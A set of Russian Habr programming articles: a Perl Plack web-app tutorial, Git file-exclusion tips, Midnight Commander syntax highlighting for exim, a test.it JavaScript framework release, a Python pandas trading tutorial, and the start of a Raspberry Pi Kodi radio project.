Для определения, является ли строка палиндромом, будем использовать следующую функцию:
```
sub palindrome {
my $string = shift;
$string = lc $string;
$string =~ s/\s//gs;
if ($string eq scalar reverse $string) {
return 1;
}
else {
return 0;
}
}
```
Приложение
----------
Plack::Request позволяет получать параметры при помощи метода parameters.
```
my $params = $req->parameters();
```
Доработаем приложение и приведем его к виду:
```
use strict;
use Plack;
use Plack::Request;
my $app = sub {
my $env = shift;
my $req = Plack::Request->new($env);
my $res = $req->new_response(200);
my $params = $req->parameters();
my $body;
if ($params->{string}) {
$body = 'string exists';
}
else {
$body = 'empty string';
}
$res->body($body);
return $res->finalize();
};
```
Запускаем. Первая часть готова.
Перейдя по адресу [localhost](http://localhost):8080/?string=1 мы увидим ответ, который скажет нам о том, что строка есть. Переход же по адресу [localhost](http://localhost):8080/ вернет нам ошибку.
Остальную логику можно реализовать прямо в этом же приложении, разделяя логику по path\_info, которая будет содержать текущий путь. Для справки, разбор path\_info может быть реализован следующим образом:
```
my @path = split '\/', $req->path_info();
shift @path;
```
И теперь в $path[0] находится необходимый нам путь.
*Важно: после внесения изменений в код, сервер необходимо перезапускать!*
Plack::Builder
--------------
А вот теперь стоит повнимательнее посмотреть на маршрутизатор.
Он дает возможность использовать другие PSGI-приложения в качестве компонентов. Еще очень полезной будет возможность подключать middleware.
Переделаем первое приложение так, чтобы оно использовало маршрутизатор.
```
use strict;
use Plack;
use Plack::Request;
use Plack::Builder;
my $app = sub {
my $env = shift;
my $req = Plack::Request->new($env);
my $res = $req->new_response(200);
$res->header('Content-Type' => 'text/html', charset => 'Utf-8');
my $params = $req->parameters();
my $body;
if ($params->{string}) {
$body = 'string exists';
}
else {
$body = 'empty string';
}
$res->body($body);
return $res->finalize();
};
my $main_app = builder {
mount "/" => builder { $app; };
};
```
Теперь $main\_app это основное PSGI-приложение. $app присоединяется к нему по адресу /. Кроме того, была добавлена функция для установки заголовков в ответ (через метод header). Стоит сделать важное замечание: в данном приложении для упрощения все функции помещены в один файл. Для более сложных приложений так делать, конечно, не рекомендуется.
Теперь подключим компонент для переворачивания строки в виде приложения, которое будет находиться по адресу [localhost](http://localhost):8080/reverse.
```
use strict;
use Plack;
use Plack::Request;
use Plack::Builder;
my $app = sub {
my $env = shift;
my $req = Plack::Request->new($env);
my $res = $req->new_response(200);
$res->header('Content-Type' => 'text/html', charset => 'Utf-8');
my $params = $req->parameters();
my $body;
if ($params->{string}) {
$body = 'string exists';
}
else {
$body = 'empty string';
}
$res->body($body);
return $res->finalize();
};
my $reverse_app = sub {
my $env = shift;
my $req = Plack::Request->new($env);
my $res = $req->new_response(200);
my $params = $req->parameters();
my $body;
if ($params->{string}) {
$body = scalar reverse $params->{string};
}
else {
$body = 'empty string';
}
$res->body($body);
return $res->finalize();
};
my $main_app = builder {
mount "/reverse" => builder { $reverse_app };
mount "/" => builder { $app; };
};
```
Адрес для проверки — [localhost](http://localhost):8080/reverse?string=test%20string.
2/3 задачи выполнено. Однако, в данном случае уж очень похожие получились $app и $reverse\_app. Проведем небольшой рефакторинг. Сделаем функцию, которая будет возвращать другую функцию (иначе, функцию высшего порядка).
Теперь приложение выглядит так:
```
use strict;
use Plack;
use Plack::Request;
use Plack::Builder;
sub build_app {
my $param = shift;
return sub {
my $env = shift;
my $req = Plack::Request->new($env);
my $res = $req->new_response(200);
$res->header('Content-Type' => 'text/html', charset => 'Utf-8');
my $params = $req->parameters();
my $body;
if ($params->{string}) {
if ($param eq 'reverse') {
$body = scalar reverse $params->{string};
}
else {
$body = 'string exists';
}
}
else {
$body = 'empty string';
}
$res->body($body);
return $res->finalize();
};
}
my $main_app = builder {
mount "/reverse" => builder { build_app('reverse') };
mount "/" => builder { build_app() };
};
```
Так гораздо лучше. Теперь добавим третью и последнюю функцию в наше API и закончим, наконец, приложение. В результате всех доработок получилось приложение вида:
```
use strict;
use Plack;
use Plack::Request;
use Plack::Builder;
sub build_app {
my $param = shift;
return sub {
my $env = shift;
my $req = Plack::Request->new($env);
my $res = $req->new_response(200);
$res->header('Content-Type' => 'text/html', charset => 'Utf-8');
my $params = $req->parameters();
my $body;
if ($params->{string}) {
if ($param eq 'reverse') {
$body = scalar reverse $params->{string};
}
elsif ($param eq 'palindrome') {
$body =
palindrome($params->{string})
? 'Palindrome'
: 'Not a palindrome';
}
else {
$body = 'string exists';
}
}
else {
$body = 'empty string';
}
$res->body($body);
return $res->finalize();
};
}
sub palindrome {
my $string = shift;
$string = lc $string;
$string =~ s/\s//gs;
if ($string eq scalar reverse $string) {
return 1;
}
else {
return 0;
}
}
my $main_app = builder {
mount "/reverse" => builder { build_app('reverse') };
mount "/palindrome" => builder { build_app('palindrome') };
mount "/" => builder { build_app() };
};
```
Ссылка для проверки:
[localhost](http://localhost):8080/palindrome?string=argentina%20Manit%20negra
В дальнейших статьях будут рассмотрены более углубленные темы: middleware, сессии, cookie, обзор серверов, с примерами для каждого конкретного + небольшие бенчмарки, особенности и тонкости PSGI/Plack, PSGI под нагрузкой, обзор способов разворачивания PSGI-приложений, PSGI-фреймворки, профилирование, Starman + Nginx, запуск CGI-скриптов в PSGI-режиме или «У меня CGI приложение, но я хочу PSGI» и так далее. | https://habr.com/ru/post/247545/ | null | ru | null |
# Правильные способы исключения файлов в Git
Иногда встречаю в файле `.gitignore` то, чего там быть никак не должно. Например, папка `.idea`, в которой лежат конфиги известных IDE от JetBrains. Это часть вашего рабочего окружения и она никаким боком не относится к проекту и репозиторию. Если над проектом работает несколько человек и каждый из них добавит конфиги своего окружения в .gitignore, то он превратится в нечитаемую помойку.
В этом топике я расскажу о правильных способах исключения файлов и о том когда какой способ использовать.
#### Исключение для репозитория
Когда у вас есть файлы, которые специфичны для данного проекта и для вашего рабочего окружения(например, логи, third-party утилита) используйте `.git/info/exclude`. Этот файл не коммитуется и остается только в локальном репозитории.
#### Исключение для компьютера
Когда у вас несколько проектов и везде создается что-либо, что вы не хотите коммитить(например, \*.swp файлы Vim) используйте `~/.gitconfig`. Вышеприведённый пример папки .idea, которая создается для каждого проекта как раз подходит сюда. Создайте файл .gitexcludes и выполните:
```
git config --global core.excludesfile ~/.gitexcludes
```
или вручную добавьте в `~/.gitconfig`:
```
[core]
excludesfile = ~/.gitexcludes
```
Сразу после сохранения `~/.gitconfig` вы не должны видеть указанные файлы/папки в списке Untracked files.
Я люблю Git, но и он порой непоследователен в мелочах. Обращаю ваше внимание на то, что в первом случае мы редактируем файл `.git/info/exclude` (без `s` на конце), а во втором используем опцию `excludeSfile` (c `s` в середине). Не потеряйте время из-за возможной опечатки.
Работа с Git в большинстве случаев означает работу в команде, поэтому не усложняйте жизнь тем, кто будет работать с вами деталями вашего рабочего окружения. Хороших коммитов! :) | https://habr.com/ru/post/202696/ | null | ru | null |
# Подсветка синтаксиса Midnight Commander: добавляем свой синтаксис
Всем хорош exim но его конфигурация не похожа ни на что соответственно и подсветка в нем скучно-серая (см.ниже)и чтобы исправить эту досадную ошибку решено было покопаться в недрах гугла на предмет Midnight commander syntax highlight.
Краткий конспект поисков представлен ниже
ДО:
#### Теория MC syntax Highlight
Согласно ману редактор МС (man mcedit) ищет подсветки в файле **~/.mc/cedit/Syntax**
или если там нет файлов тогда в **$PREFIX/share/mc/syntax/Syntax.**
**Внимание**. Эти **файлы** просматриваются именно в такой последовательности и ищутся до первого совпадения. Поэтому если вы напишите файл Syntax в домашней директории то будут определяться ТОЛЬКО синтаксисы описанные в нем (это касается версии МС 4.7.5, возможно все изменилось в более поздних версиях).
#### Быстрый способ
Быстрый (но ОЧЕНЬ не точный) способ был найден [здесь](http://poplinux.ru/node/36). В нем просто заменяется синтаксис неизвестного типа (файл /usr/local/share/mc/syntax/unknown.syntax) на sh.syntax)
Но этот способ не качественный и неспортивный. Поэтому мы пойдем другим путём.
#### Синтаксис Syntax-а
Для начала мы зайдем в **$PREFIX/share/mc/syntax/Syntax** и в самом начале поставим ссылку на разрабатываемый нами файл:
**`file configure exim\sconfiguration
include exim.syntax`**Которая означает: все файлы которые начинаются с configuration и находятся в папке exim подсвечиваются синтаксисом из файла exim.syntax. Таким образом любые резервные копии (configure\_28\_11\_2010, configure.orig, configure.default и т.д. — тоже будут подсвечены).
##### Контексты
В синтаксисе может быть один или несколько контекстов. Контекст — все что заключено между определенными служебными символами\словами (delimiters) пример:
**`context " " green
spellcheck`**
— все что между лапками отображается зеленым (в нашем случае строка)
**`context exclusive # \n brown`**
— все что между **#** и концом строки — коричневый (комментарий)
Обязательный контекст дефолтный (context default) используется для подсветки того что не находится ни в одном контексте.
##### Keywords
В любом контексте служебные слова задаются в таком виде:
**`keyword [whole|wholeright|wholeleft] [linestart] string foreground [background]`**коротко о параметрах:
* whole — только целые слова (иначе даже части большего слова будут выделятся
* wholeright — от строки string и вправо до конца слова
* wholeleft — от строки string и влево до конца слова
* linestart — string должна идти в начале строки
Еще бы хорошо определить какие символы НЕ обозначают конец слова. Это делается при помощи команды
**wholechars**:
**`wholechars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_01234567890.-`**
##### exim.Syntax
Собственно начнем мы с дефолтного контекста:
**`context default
keyword = white
keyword : yellow
keyword ! red
keyword # brown
keyword \/\/ brown
keyword ${ green
keyword } green
keyword whole domainlist brightcyan
keyword whole begin brightcyan
keyword whole acl brightcyan
keyword whole warn cyan
keyword whole accept cyan
keyword whole reject cyan
keyword whole drop cyan
keyword whole deny cyan
.............`**
— здесь мы определяем целые слова и их цвет
Далее:
**`keyword wholeright smtp_* brightcyan
keyword wholeright rfc1413_* brightcyan
keyword wholeright recipients_max* brightcyan
keyword wholeright system_filter* brightcyan
keyword wholeright maildir_* brightcyan
keyword wholeright message_* brightcyan
keyword wholeright quota_warn_* brightcyan
keyword wholeright server_* brightcyan
.............`**
— определяем целые семьи служебных слов (все что начинается с и до конца слова
И переходим к другим контекстам:
**`context " " green
spellcheck
context exclusive # \n brown`**
— строка и однострочный комментарий
**`context exclusive = \n magenta
keyword \\\n red
keyword \\ red
keyword \/\/ brown
keyword "*" green
keyword '*' green`**
— Контекст присвоения параметров
**`domainlist relay_to_domains = local_domains`**
Также отвечает за то чтобы строки в этом контексте отображались зеленым:
**keyword "\*" green, keyword '\*' green**, а служебные символы переноса строки — красным.
##### Выводы
ПОСЛЕ этих манипуляций (без перегрузки МС) наш конфиг стал выглядеть более привлекательно:
P.S.
Основные источники: [man mcedit](http://www.opennet.ru/cgi-bin/opennet/man.cgi?topic=mcedit)
А также /usr/local/share/mc/syntax/Syntax
Сам файл синтаксиса exim.Syntax можно забрать [здесь](http://depositfiles.com/files/vr4wxcpkk)
P.P.S. Если вдруг кто-то найдет уже готовый файл синтаксиса, то милости прошу кидать его ссылку где-то сюда | https://habr.com/ru/post/128239/ | null | ru | null |
# Вышел test.it v1.1.0 — что дальше?
Добрый день хабр.
Вчера вышла версия 1.1.0 **test.it** — фреймворка для тестирования js кода.
Он, наконец, обзавёлся функционалом, отсутствие которого делало его неполноценным:* Асинхронные тесты/группы
* Запуск отдельных тестов/групп
А так же прочими мелочами.
Кто не любит много слов — [Сайт](http://titulus.github.io/testit/) на котором можно увидеть код в действии, [GitHub](https://github.com/titulus/testit), [Wiki](https://github.com/titulus/testit/wiki)
### Ченджлог
* Изменения под капотом
+ серьёзный рефакторинг — изменение технологии цепочности и наследования
+ возможность запуска в безоконной среде (в которой нету объекта *window*, например node.js)
Это подготовительная операция для порта под node.js, angular.js и им подобным
* Изменения в интерфейсе
**.done()** получил дополнительный функционал как метода завершающего цепь.
Появились новые методы и атрибуты:
+ звено цепи **.addTrace(level)**
+ подготовитель цепи **.time**
+ подготовитель цепи **.exclude**
* Исправлены:
+ огромное количество грамматических ошибок (спасибо [tenphi](http://habrahabr.ru/users/tenphi/) и [asmgf](https://github.com/asmgf))
+ баг с расчётом времени у **root** при многократном вызове **test.done()**
* Обновлены Вики, сайт и пример
### Новые возможности
Звено цепи [.addtrace(level)](https://github.com/titulus/testit/wiki/API#wiki-.addTrace) — добавляет к тесту/группе **trace** — список строк, приведших к его исполнению.
**level** — задаёт количество выводимых строк *(или глубину областей видимости, на которую будет подниматься **trace**)*.
Метод был добавлен по просьбе пользователя vk [Denya Tatarinov](http://vk.com/isdenya), с пояснением, что это полезно для наблюдения за большим количеством асинхронных вызовов (тестов).
> У меня есть хорошая привычка, логгировать каждый ajax запрос. точнее ответ от сервера. и когда случается какая то херь, я бы хотел знать в какой строчке это случилось) не писать жеж что вот чувак, это 45 строчка в каждом вызове. + помогает ориентироваться по коду
Для данной задачи хватает вывода только одной (текущей) строки, но мало ли кому понадобиться отследить какой-нибудь запутанный код.
**Пример и скриншот**
```
(function firstFunction() {
(function secondFunction() {
(function lastFunction() {
test.it(1).addTrace(0); // добавит только текущую строку
test.it(1).addTrace(); // добавит полный трейс
})();
})();
})();
```
Подготовитель цепи [.time](https://github.com/titulus/testit/wiki/API#wiki-.time) — добавляет к выводу теста время, затраченное на его исполнение *(или исполнение функции результат которой был передан тесту)*
Обратите внимание, что это не метод, а именно аттрибут. Не ставьте после него скобки!
**Пример и скриншот**
```
test.time.it(someThing());
```
Подготовитель цепи [.exclude](https://github.com/titulus/testit/wiki/API#wiki-.exclude) — предотвращает попадание теста или группы в стек текущего уровня. Это тоже атрибут не ставьте после него скобки!
Может быть полезен для асинхронных тестов.
**Пример**
```
alert(test.exclude.it(someThing).result()); //выдаст alert с результатом теста
test.exclude.group('some group',function(){ ... }).done(); //выведет группу в консоль
```
### Вывод отдельных тестов и групп
Наконец все эти **.group** обрели смысл!
[.done()](https://github.com/titulus/testit/wiki/API#wiki-.done) — в зависимости от того, как и где был вызван выводит:
* Как метод объекта **test** вне групп — выведет результат как и раньше.**Пример**
```
test.done();
```
* Как метод объекта **test** внутри группы — выведет эту группу включая все тесты и подгруппы, которые успели туда попасть.**Пример**
```
test.group('group of tests',function(){
test.it(false);
test.done();
test.it(true);
});
```
* Как оканчивающее звено в цепи групп — выведет последнюю группу в цепи**Пример**
```
test.group('group of tests',function(){
test.it(true);
test.it(false);
}).done();
// или
test.group('group of tests').done();
```
* Как оканчивающее звено в цепи теста — выведет этот тест**Пример**
```
test.it(true).comment('выведет только этот тест').done();
```
### Асинхронные тесты
Благодаря новому поведению **.done()** *(и немного **.exclude**)* теперь доступны асинхронные тесты:
```
var a = false; // переменная, которую мы изменим через 2 секунды
setTimeout(function () {a=true}, 2000) // асинхронное (через время) изменение переменной
setTimeout(function () {
test.group('async tests',function(){
test.it(a).comment('переменная ещё не изменилась');
}).comment('async group').done(); // вывод результата
}, 1000);
setTimeout(function () {
test.exclude.it(a).comment('переменная уже изменилась').done(); // вывод результата, без добавления его в root
}, 3000);
```
Через ~3 секунды в консоли будет:
### TODO
теперь, помимо шлифовки уже сделанного я ставлю приоритетную задачу — порт на node.js и подобные ему языки(?).
### Ссылки
[Сайт](http://titulus.github.io/testit/) на котором можно увидеть код в действии, [GitHub](https://github.com/titulus/testit), [Wiki](https://github.com/titulus/testit/wiki)
### P.S.
Пока занимался рефакторингом, задался вопросом, а кому собственно нужны **test.them** и **test.types**? В связи с чем хочу задать вопрос сообществу, какими тестами вы пользуетесь чаще всего? Какие тесты вам в принципе нужны?
В опросе будут указаны тесты только из этого фреймворка, но в комментариях вы можете высказываться относительно тестов в других фреймворках, в том числе для других языков. | https://habr.com/ru/post/190200/ | null | ru | null |
# Руководство: как использовать Python для алгоритмической торговли на бирже. Часть 1
[](https://habrahabr.ru/company/itinvest/blog/331542/)
Технологии стали активом — финансовые организации теперь не только занимаются своим основным бизнесом, но уделяют много внимания новым разработкам. Мы уже рассказывали о том, что в мире высокочастотной торговли лучших результатов добиваются обладатели не только самого эффективного, но и быстрого софта и железа.
Среди наиболее популярных в сфере финансов языков программирования можно отметить R и Python, также часто используются C++, C# и Java. В опубликованном на сайте DataCamp [руководстве](https://www.datacamp.com/community/tutorials/finance-python-trading#gs.8u7rQvs) речь идет о том, как начать использовать Python для создания финансовых приложений — мы представляем вам серию статей-адаптаций глав этого материала.
Структура руководства:
* Первая часть предназначена для новичков на рынке, в ней речь пойдет об устройстве финансовых рынков, акциях и торговых стратегиях, данных временных рядов, а также о том, что понадобится для начала разработки.
* Во второй части будет представлено введение в работу с данными временных рядов и инструментами финансового анализа, вроде подсчета волатильности и скользящих средних, с помощью Python-библиотеки Pandas.
* Затем мы перейдем к непосредственной разработке простой импульсной торговой стратегии.
* В четвертой части речь пойдет о том, как проводить бэктест стратегии на исторических данных.
* В завершение, будут затронуты вопросы оптимизации стратегии для повышения ее производительности, а также оценки ее работы и надежности.
Введение: простым языком об устройстве сферы финансов
-----------------------------------------------------
Прежде чем окунуться в мир торговых стратегий, имеет смысл коснуться базовых понятий. Однако это не означает, что то, о чем пойдет речь ниже, рассчитано совсем на новичков. Будет здорово, если вы предварительно ознакомитесь с курсом по использованию [Python для работы с данными](https://www.datacamp.com/courses/intro-to-python-for-data-science), а также представляете себе, как работать со списками и пакетами Python, а также хотя бы на базовом уровне знакомы с NumPy и Pandas.
Акции и торговля на бирже
-------------------------
Когда компания хочет продолжить развитие бизнеса, запускать новые проекты или расширяться, то в качестве инструмента финансирования может использовать акции. Акция представляет долю во владении компании, акции обменивают на деньги. Акции можно покупать и продавать: участники таких сделок проводят операции с уже существующими, ранее выпущенными акциями.
Цена, по которой конкретная акция будет продана или куплена, может постоянно меняться, вне зависимости от бизнес-показателей выпустившей акции компании: все определяется спросом и предложением. Важно понимать различие между акциями и, например, облигациями (бондами), которые используются для привлечения именно заемных средств.
Когда речь идет о трейдинге, то рассматриваться может не только продажа и покупка акций — сделка может быть заключена по разным активам, в числе которых могут быть как финансовые инструменты, так и, например, драгоценные металлы или ресурсы вроде нефти.
При покупке акций инвестор получает определенную долю в компании, из чего может в будущем извлечь финансовую выгоду, продав эту долю. Стратегии могут различаться: существуют длинные сделки (long), заключаемые в надежде на дальнейший рост акций, и короткие, когда инвестор предполагает, что акции будут дешеветь, поэтому продает акции в надежде в будущем «откупить» их обратно по более низкой цене.
Разработка торговой стратегии включает в себя несколько стадий, что похоже, например, на построение моделей машинного обучения: сначала нужно сформулировть стратегию и описать ее в формате, позволяющем запустить ее на компьютере, затем нужно протестировать работоспособность получившейся программы, оптимизировать ее, а затем оценить результативность и надежность работы.
Торговые стратегии обычно проверяют с помощью бэктестинга: это подход, при которым стратегия «прогоняется» на исторических данных о торгах — на их основе программа генерирует сделки. Это позволяет понять, принесла бы такая стратегия доход при том развитии рыночной ситуации, что наблюдалось в прошлом. Таким образом, можно предварительно оценить перспективность стратегии в торгах в режиме реального времени. При этом, нет гарантий того, что хорошие показатели на исторических данных повторятся при работе на реальном рынке.
Данные временных рядов
----------------------
Временной ряд — это последовательность цифровых данных, полученных на последовательных равных промежутках времени. В сфере финансов такие ряды используются для отслеживания движений цен за определенный период времени, записанных в равные интервалы. Вот, как это выглядит:
По оcи X расположены даты, а цена — на оси Y. «Последовательные равные промежутки времени» в данном случае означает, что по временной оси даты расположены с двухнедельным интервалом: можно сравнить 3/7/2005 и 3/31/2005, а также 4/5/2005 и 4/19/2005 (*здесь даты записаны в принятом в США формате, когда сначала идет месяц, а затем день*).
Однако финансовые данные обычно включают не два параметра (цена и дата), а пять — помимо величины торгового периода, это цена открытия торгового периода, наивысшая и низшая цена в его рамках, а также цена в момент закрытия периода. Это значит, что если мы рассматривает дневной период, то анализ данных даст нам информацию о том, на каком уровне находилась цена в момент старта и завершения торгов в выбранный день, а также какой была максимальная и минимальная цена в ходе торгов.
Выше были описаны базовые понятия, которые необходимо знать, чтобы продолжить изучение данного руководства.
Основы Python для сферы финансов: Pandas
----------------------------------------
Одним из самых востребованных инструментов при использовании Python для разработки финансовых приложений является пакет Pandas. Он нужен уже в самом начале, но по мере углубления в процесс разработки понадобятся и такие пакеты как NumPy, SciPy, Matplotlib.
Для начала сфокусируемся на Pandas и применении этого инструмента к анализу временных рядов. Ниже речь пойдет о том, как с помощью данного пакета импортировать данные, анализировать и манипулировать ими.
### Импорт финансовых данных
Пакет pandas-datareader позволяет получать данные из таких источников, как Google, Yahoo! Finance или Всемирный банк — подробнее о доступных источниках данных написано в [документации](https://pandas-datareader.readthedocs.io/en/latest/remote_data.html). В этом руководстве будет рассматриваться получение данных с сервиса Yahoo! Finance. Для начала работы необходимо установить последнюю версию пакета с помощью pip:
```
pip install pandas-datareader
```
Инструкции по установке версии в разработке представлены [здесь](https://github.com/pydata/pandas-datareader/).
```
import pandas_datareader as pdr
import datetime
aapl = pdr.get_data_yahoo('AAPL',
start=datetime.datetime(2006, 10, 1),
end=datetime.datetime(2012, 1, 1))
```
Не так давно в Yahoo API произошли изменения, так что для начала самостоятельной работы с библиотекой нужно установить исправления, который позволит дождаться официального патча. Подробнее проблема описана [здесь](https://github.com/pydata/pandas-datareader/issues/315). Однако для этого руководства данные были скачаны заранее, так что проблем с его изучением не возникнет.
Важно также понимать, что несмотря на то, что pandas-datareader — это удобный инструмент для загрузки данных, он далеко не единственный для Python. Также можно использовать библиотеки вроде Quandl, которая [позволяет](https://www.quandl.com/tools/python) получать данные с сервиса Google Finance:
```
import quandl
aapl = quandl.get("WIKI/AAPL", start_date="2006-10-01", end_date="2012-01-01")
```
Также многим известно, что в сфере финансов для анализа данных очень популярен Excel. Для удобства будущей работы можно интегрировать этот инструмент с Python (подробнее [по ссылке](https://www.datacamp.com/community/tutorials/python-excel-tutorial)).
### Работа с данными временных рядов
Для импортирования данных мы использовали pandas\_datareader. В результате возник объект aapl — это DataFrame, то есть двумерная именованная структура данных со столбцами потенциально разных типов. Первое, что следует сделать при работе с таким фреймом — запустить функции head() и tail() для того, чтобы взглянуть на первый и последний столбцы датафрейма. Для получения полезной статистической сводки по скачанным данным можно воспользоваться функцией describe().
Пример этого кода можно найти на [странице исходного материала](https://www.datacamp.com/community/tutorials/finance-python-trading#gs.8u7rQvs).
Данные содержат четыре столбца с ценой открытия и закрытия торгового периода, а также максимальной и минимальной ценой — мы рассматриваем дневные интервалы и акции Apple. Также мы получаем два дополнительных столбца: Volume и Adj Close. Первый из них используется для того, чтобы зафиксировать количество акций, с которыми совершались сделки в торговый день. Второй столбец — это «отрегулированная» цена закрытия (adjusted closing price), это значит, что в цену закрытия периода были добавлены все действия с акциями, которые могли быть совершены до момента открытия следующего торгового дня.
Если нужно сохранить данные в CSV-файл, это можно сделать с помощью функции to\_csv(), а прочитать файл можно с помощью read\_csv() — это полезно для ситуаций, когда источник данных меняется и доступ к ним временно теряется.
```
import pandas as pd
aapl.to_csv('data/aapl_ohlc.csv')
df = pd.read_csv('data/aapl_ohlc.csv', header=0, index_col='Date', parse_dates=True)
```
После базового анализа скачанных данных, пора двигаться дальше. Для этого можно, к примеру, изучить индексы и столбцы, выбрав, например, десять последних строк конкретного столбца. Это называется разбиением (subsetting), поскольку берется лишь небольшой набор имеющихся данных. Получившееся подмножество — это ряд, то есть одноразмерный именованный массив.
Для того, чтобы посмотреть на индекс и столбцы данных следует использовать атрибуты index и columns. Затем можно выделить подмножество из десяти последних наблюдений в столбце column. Для изолирования этих значений следует использовать квадратные скобки. Последнее значение помещается в переменную ts, а проверка ее типа осуществляется с помощью функции type().
```
# Inspect the index
aapl.index
# Inspect the columns
aapl.columns
# Select only the last 10 observations of `Close`
ts = aapl['Close'][-10:]
# Check the type of `ts`
type(ts)
```
Использование квадратных скобок удобно, но это не самый характерный способ при работе с Pandas. Поэтому также стоит рассмотреть функции loc() и iloc(): первая из них используется для label-based индексирования, а последняя для позиционального индексирования.
На практике, это значит, что можно передать ярлык ряда вроде 2007 или 2006-11-01 в функцию loc(), а целые числа вроде 22 или 43 передаются функции iloc().
```
# Inspect the first rows of November-December 2006
print(aapl.loc[pd.Timestamp('2006-11-01'):pd.Timestamp('2006-12-31')].head())
# Inspect the first rows of 2007
print(aapl.loc['2007'].head())
# Inspect November 2006
print(aapl.iloc[22:43])
# Inspect the 'Open' and 'Close' values at 2006-11-01 and 2006-12-01
print(aapl.iloc[[22,43], [0, 3]])
```
Если внимательно взглянуть на результаты процедуры разбиения, то станет видно, что в данных пропущены определенные дни. Дальнейший анализ паттерна покажет, что обычно не хватает двух или трех дней. Это выходные дни и государственные праздники, во время которых нет биржевых торгов.
Помимо индексирования есть несколько способов узнать о данных больше. Можно, к примеру, попробовать создать семпл из 20 строк данных, а затем переформатировать их таким образом, чтобы appl стал не дневным значением и месячным. Сделать это можно с помощью функций sample() и resample():
```
# Sample 20 rows
sample = aapl.sample(20)
# Print `sample`
print(sample)
# Resample to monthly level
monthly_aapl = aapl.resample('M').mean()
# Print `monthly_aapl`
print(monthly_aapl)
```
Прежде чем перейти к визуализации данных и проведению финансового анализа, можно начать вычислять разницу между ценами открытия и закрытия торгового периода. Эту арифметическую операцию можно с помощью Pandas — нужно вычесть значения столбца Open данных appl из столбца Close. Или, другими словами, вычесть aapl.Close из aapl.Open. Получившийся результат будет храниться в новом столбце датафрейма aapl под названием diff, который можно удалить с помощью функции del:
```
# Add a column `diff` to `aapl`
aapl['diff'] = aapl.Open - aapl.Close
# Delete the new `diff` column
del aapl['diff']
```
Получившиеся абсолютные значения уже могут быть полезны при разработке финансовой стратегии, однако обычно требуется и более глубокий анализ, например, процентных величин роста или падения цены определенной акции.
Визуализация данных временных рядов
-----------------------------------
Помимо анализа данных с помощью функций head(), tail() и индексирования, также возможна их визуализация. Благодаря интеграции Pandas с инструментом для создания графиков Matplotlib это можно сделать довольно легко. Нужно лишь использовать функцию plot() и передать ей релевантные параметры. Кроме того, если добавить параметр grid, то получившийся график будет наложен на сетку.
```
# Import Matplotlib's `pyplot` module as `plt`
import matplotlib.pyplot as plt
# Plot the closing prices for `aapl`
aapl['Close'].plot(grid=True)
# Show the plot
plt.show()
```
Этот код дает вот такой график:
В следующей части руководства речь пойдет о финансовом анализе данных временных рядов с помощью Python.
*Продолжение следует…..*
Другие материалы по теме финансов и фондового рынка от [ITI Capital](https://iticapital.ru/):
---------------------------------------------------------------------------------------------
* [Аналитика и обзоры рынка](https://iticapital.ru/analytics/)
* [Фьючерсы, индексы и IPO: как на самом деле устроены биржи и зачем они нужны](https://habrahabr.ru/company/itinvest/blog/338318/)
* [Топ-10 книг для понимания устройства фондового рынка](https://habrahabr.ru/post/206312/)
* [Фьючерсы, индексы и IPO: как на самом деле устроены биржи и зачем они нужны](https://habrahabr.ru/company/itinvest/blog/338318/)
* [Инфраструктура российского рынка ценных бумаг (краткий ликбез)](https://habrahabr.ru/company/itinvest/blog/201344/)
* [How-to: роботы и API брокерской торговой системы](https://habrahabr.ru/company/itinvest/blog/201702/) | https://habr.com/ru/post/331542/ | null | ru | null |
# Простейшая интернет радио колонка «Kodi» или спасение «Малинового» кирпича
##### Основные предпосылки:
1. Есть старая неиспользуемая плата Raspberry Pi первого поколения;
2. Плата лежит на шкафу мертвым грузом и не используется — плата «Кирпич»;
##### Что хотелось бы получить:
1. В определенный момент времени (например по настроению)
плата перестает быть «Кирпичом», и в нее вставляется волшебная карта памяти;
2. К плате подключается Ethernet кабель и штекер от обычной бытовой колонки или наушников;
3. После подачи питания бывший «Кирпич» — **поет**
##### Основная идея:
1. Минимальное количество телодвижений для какой либо настройки, в самом идеальном случае, подключаем только «Ethernet» кабель, питание и колонки, и больше ничего не делаем, от слова **«совсем»;**
2. Бывший «Кирпич» из коробки поддерживает например 20 интернет радиостанций, переключение которых по кругу можно повесить на нажатие колесика мыши или же на определенный pin GPIO (подключить два провода и их замкнуть (моя мечта с детства));
3. Управление осуществляется по радио каналу, и этим радио каналом может стать обычная радио мышь;
4. Взять уже готовую систему, дистрибутив собрать в «Yocto Project»
т.е. как обычно мы с вами ничего делать не будем, так как все уже сделано.
(достаточно только поместить стороннего наблюдателя с другой стороны **«Телевизора»**);
##### Описание
Простейшая Интернет Радио колонка «KODI»
Сборка предназначена для старых Raspberry Pi 1 плат
(пылящихся где то на шкафу, но которые готовы еще поработать)
По умолчанию используется список m3u8 из 12 Интернет радиостанций.
Предполагается, что плата работает без HDMI выхода, и для ее выключения достаточно выдернуть адаптер питания из розетки. А в качестве ультра современного беспроводного пульта управления, вы можете использовать вашу супер радио мышь (ну или подключить обычную серую с хвостом).
При включении сетевой интерфейс по умолчанию настраивается через DHCP протокол и проигрывается последняя запомненная радиостанция из списка, управление громкостью воспроизведения осуществляется обычной мышью:
(назначьте наконец свою мышь «начальницей управления», и поздравьте ее, она это заслужила)
```
колесико вперед - увеличение громкости звука
колесико назад - уменьшение громкости звука
длительное нажатие (3сек и более) на правую кнопку мыши
- выбор следующий радиостанции
длительное нажатие (3сек и более) на левую кнопку мыши
- выбор предыдущей радиостанции
```
> Для добавления собственного списка Интернет радиостанций
>
> вы всегда можете подключить HDMI кабель от телевизора
>
> и воспользоваться штатным графическим интерфейсом Kodi 17.6
>
> (выключите плату, подключите HDMI и включите адаптер питания)
>
>
>
> Основное меню Kodi => «Дополнения» => «Мои дополнения»
>
> => «Клиенты PVR» => «PVR IPTV Simple Client»
>
>
##### Первоначальная реализация
(возможная)
Изначально, когда я решил сделать «Интернет Радио колонку», я планировал следующее:
* Минималистический консольный дистрибутив в Yocto Project;
* Аудио поток проигрывается через GStreamer;
* Сетевой интерфейс настраивается по DHCP;
И такое решение имеет ряд преимуществ:
1. Достаточно быстрое (выход на рабочий режим от подачи питания 30-40сек);
2. Достаточно надежное (меньше программ, меньше точек отказа);
3. Консольный дистрибутив намного проще перевести в режим только чтение
т.е. программы ничего не записывают в корневую в файловую систему
(a файловая система на носителе SDHC является на мой взгляд первым кандидатом по отказам);
**Примечание:**
```
В Yocto перевести корневую файловую систему (rootfs)
в режим только чтение можно сделать достаточно просто,
изменив один параметр во время сборки
Из коробки Yocto предлагает два варианта:
